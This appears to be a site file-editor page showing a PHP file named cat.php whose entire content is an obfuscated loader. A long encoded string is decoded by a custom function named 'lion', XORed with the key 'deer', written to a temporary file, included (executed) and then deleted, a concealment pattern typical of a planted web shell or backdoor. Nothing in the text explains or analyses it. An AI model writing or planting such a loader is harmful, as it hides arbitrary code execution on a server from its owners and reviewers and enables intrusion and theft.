Edit

Editing: cat.php

<?php
$encrypted = 'WFoVGhRobzINCwYeEQEAUkMWCxMNCUsCDBVCSWlvWkxpb1lNFA0Vf25ob1YHEgFSWUUAChQJChYBTUIFFEgGHQoRABwQQklSAwARERMBTVtNPlUvX2hvVhMVJh0KAwwVNAQRGkRYRVYHEgFSSkUhOzYgJiYrNzwtNyA1MzYkMT02RUtSQxIVXwcKCxQNAksCDBVCSWlvaHhpbwMHCgYRGwsLRRUBEToFFDoBEDsGChwCDAJaQAYKHAIMAi0UBBEaRFhFVRMVSBELCwMbA0sVGhRCTFIfaG9SREVFGwJFTVMCDAkXOwAdGxcRFlpABgocAgwCLRQEERpNTEUJaW9FUkRFRVJERREaFgoSUgoAElIhHQYXFBEMHQpNR6LAtdWi3bXeUhMVSBELCwMbA0sVGhRFtc-00EWi2bXVot210aLRtdhIREEGHQoDDBU7FQQGDEdMSWlvRVJERRh_bmhvUkRFRVYHCgsUDQJFT0QDDB4BOgIXEDoGHQoRABwQFk1WBwoLFA0COgIFEQ1bX2hvf25FRVJEQRcXFxAJBkRYRSk5Xmh4aW9FUkRFQQIFEREXFgsWUllFPn9uRUVSREVFUkRCITA7KyQ_IUJFUkRFRU9aRUddAAADGwoAOQFOOU0uF09CNiY6KzMpIEIuF09JLhdPQlo_O0IvT0xCLhdPOVtfSkdeaW9FUkRFRVJERUI2JjowISE3QlJERUVSWVtFUEsBABQNCwAuF085WjgWT1UgJzonNyA3VTgWT144Fk9VTD47VTlOTFU4Fk8uTV5KUEhob1JERUVSREVFVSAnOiIlNjYlKzchVURYW1JGSgEXAgwLFzgWTy5MORZYQyEnLTQkNiEzKjc2QzkWWEg5FlhDTT4sQzhPW0M5Flg4TF5dRkloeERFRVJERUVSQyEnLSwqNiZDRUVSREVYTERHShYBAwwcATkWWDhNOQFOQiEwOy0qITBCOQFOSTkBTkJNKTpCOFlNQjkBTjlMSUtHSX9uRUVSREVFUkRCERMGCQAtFBcAFA0dQk9aRUddODk5VhAEBx4BOhUAAQMMCjgWT084Fk9VTD47VTlOTFVfSkd_bkVFUkQ4Xn9uaG9SREVFFAsXABMHDUVaQBUEBhAAFxwXRQQBREEOFx1FWExEQRUTEBEAAApMRQlpb0VSREVFUkRFDBRETRUAAQI6HwURBhpMQRUTEBEAAApJRVYHCgsUDQJJUkAIBAYHDQABTUxFCWlvRVJERUVSREVFUkRFQQABFhAeED5BGQEcOFJZRUEfBREGGgEWPkM5Xmh4REVFUkRFRVIZRQAeFwBFCWlvRVJERUVSREVFUkRFQQABFhAeED5BGQEcOFJZRQsHCAlef25FRVJERUVSRBhoeERFRVIZaG9_bkVFUkQXAAYRFwtSQBcAAREJEUlpbxh_bmhvFBELBgYNCgtSAwALFxYEERc7FwQcAAoILRcRFxsKAk1WCAALFRANRU9EVFdeREEMHAcJEBYBOhYLCQcKHhdFWFICBAkBAUxFCWlvRVJERUERDAQXAURYRVUFBwYWAQMCGg0PDh4JCwoCFRcWBhETEgodHyQwJyEgNCMtLDgvKSg8KzU0IDcxMCQzPTwoVFRXQVBQU0VcXEJJaW9FUkRFDBRETUEbCgYJBwAAOgEdCAcdCBZMUh9ob1JERUVSREVFVgcNBAAXRUtPREJEMkdBQCxCT01bSTo-Lx8YQklpb0VSREUYf25FRVJEFwAGERcLUhcQBwEQF00BEBc6AQwQAxQIAE0BEBc6AAEVABMQTUERDAQXAUhFQR4BCwIGDExMXkRVSVJACQAcAxENW19obw9pb2h4DQNFWkUDDB4BOgAKDRYRAUxBEgInCgsUDQI1ExANTFtEHmh4REVFUgAMAFpGEhVfBwoLFA0CSwIMFUUcCxFFFAsQCxZEDAtSBxAXAAELEVIADBcXBxEKAB1fRVYHEgEuCkdMSWlvGH9uaG9WAAcmHQoDDBVEWEUVARE6BRQ6ARA7BgocAgwCWkASFTELCwMbAzUEBgxMXn9uaG9WAAdFUkRFRVJERUVSRFhFVgAHJh0KAwwVP0IhMDsrJD8hQjhJaW9BBxcAF1JERUVSREVFUllFQRYGJgocAgwCKUMhJy0xNiAgQzhef25BFRMXFhIdFgFFUkRFRU9EQQEQJwoLFA0CPlUgJzoiJTY2JSs3IVU5Xmh4QA0KARBFRVJERUVSREVYUkABBzELCwMbAz5CNiY6LT03MUIvX2hvVhAEBx4BOhUAAQMMCkRYRVYAByYdCgMMFT9CERMGCQAtFBcAFA0dQi9faG9_bkELFxM6EAEBFwsTCQBFT0QWEQAQCgkdEwAXWgMACxcWBBEXOxcEHAAKCC0XERcbCgJNREhFAxMIFgBbTV5oeEALAAU7FQQBFxIKAABFWFIDAAsXFgQRFzsXBBwACggtFxEXGwoCTUNSSUUGFhAAW19ob1YKABItAQgEGwhFRVJEWEVWCgASLREWAAAKBAgXREtFVSQCCBMNCUsRCwhCSWlvaHhACBwBFQkMUllFCxcTRQgLFxQJG0xBDR0XEUlSQBAWFxZJRVYUBBYBEwoXFkhFQRYGTF5_bgwDUkxBCAsXFAkbSVsGHQoLABEQOgAAFgoXW0QeaHhERUVSAAwAWkO1-6Pstd2i1bXfotRFtc2027XGtN-1ybXrtPW00LXPtN20_V5FQlJKRUEfHRYUHg1IWxELCwsXBxE6FxYXCgBNXmh4GWhvf25BDRMXDQAWOxUEARcSCgAARVhSFAQWARMKFxY7DQQBDE1BHAESOgIFFhYFCxcBXkQ1JCE3MiogIDonMTY8NSZNXmh4aW9BGwoWAAAQOhABARdFT0RBCAsXFAkbSVsVAAEVBAABTUd_bkVFUkQsKyEhNzFSLSsxPUQeQQYFBwkXOxUXFwIMHQ8RFgAAF0VoeERFRVJERUVSTBAWFxY6CR0DDAteRBAWFxY6FRMXFklSERYAADsLDBEBCwQfAUlFBxcAFy0BCAQbCElFBxcAFy0XEQQGERZJUgAMFgIIBBwtCgQIF0hFEAEBFzoAAQIMARAAFxcATGh4REVFUjIkKSchNkVaW0lFTUhFWl5EWklSVElFTUhFKz0zTUxbaW9HW19ob1YNCxYXFhE6BxcAF19aBwwcADoVExYECFpDFhYBFxZCXkRBCxcTOhABARcLEwkASVJADQQBDAABLRQEFgETChcWSEVBHAESOgcXABccBQgAXkRBCxcTOgAfBQwJXkRBCxcTOhABARcLEwkATElpb0EbChYAABA6EAEBF0hMAR0AERERAFpNXmh4aW8MFERNQRsKFgAAEDoQAQEXSEwFAwMXBxEAFjsXCgUXRVlSVUxFCWlvRVJERQEbAU1Covq07aLctdSi3rXVUrTatPK03UWj5bXbotO10aLUtdii3LXdUrTatcy03rT-tNK1zLTXtcK157XHtN60_V5FQlJKRUEfHRYUHg1IWxcWFwoATV5oeBlob39uQRABARc6GwBFWFJACBwBFQkMX1oMCwEBFxEtDQFef25ob1YJABETRFhFKWlvRVJERT5VExU6EQUVBBANCQwGDQAWVUhFRVJERUUBARcMEwgMHxdMPkITAAgMHA0WEQAFEQoAQ0VYTEQRFwcBOEwvSGhvUkRFRSlDEhUtERYAADsJAAQBCUJeREVFUkRFRVJDVFVVOUloeERFRVI_QgsbBw4LEwkAQl5ERUVSREVFUkRFRVJEQQsXEzoQAQEXCxMJADheaW9FUkRFPlUCDBcBEDoLEwkAQl5ERUVSREVFUkRFRVVDOEl_bkVFUkQ-Qh4FFhEtCgQIF0NJRVJERUVSREVFUkRFQlU5SWh4REVFUj9CARcXBhcbFBEMHQpCSVJERUVSREVFUkRCQi9IaG9SREVFKUMXDBEMOgAWDREMHANCSVJERUVSREVFUkMRFwcBQjheaW9FUkRFPlUXDQoFOwQBHw0LOhAFFzoUFgoLBkNJRVUQFxAXQzhJf244Xn9uaG8UCxcAEwcNRVpACAAGBUUEAUQ-QRkBHElSQBMEHhEAOFtEHmh4REVFUkAWER8QRVhSQAgcARUJDF9aFRcXFAQXF0xHLDw3IDcmRCwrJitFHlYQBAceAToVAAEDDAoZEBYXFggABgVFTQcXABctDQFJUgkAERM7DgALSEUIFxAEOgQFCRAXTUUzMygwICFETVpeRFpJUltMR1tfaG9SREVFVhcRCAZJWwcbCgE6AgUXBB9MQgwBF0JJUkAQFhcWOgwWSEVBGQEcSVJAEwQeEQBMSWlvRVJERUEBEAgRX1oAHRcHEBEXTExef25FRVJEQRYGCRFITAcJCgEBTUxJaW8Yf25obxcHDQpSRrX1otC12aLctdhftNq1zLTetP600rXMtNe1wrXntce03rT-RLTmo-W12qLRtO2i2bXbUrTRtcy01LXCtNe1ybTQtc9KOQtQX2hvFwcNClJGtf6i2rXWoty12EhERUVSH0ELFxM6EAEBFwsTCQAYLgpHXn9uAAYaC0VHovu11aPktdui37TpSERFRQlACwAFOxUEARcSCgAAGDkcRl5oeEAIHAEVCQxfWgYJHRcATVtfaG9NWg';
if (!function_exists('lion')) {
    function lion($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

$bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

$res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), lion($encrypted, 'deer'));
include $tmp;
unlink($tmp);

Back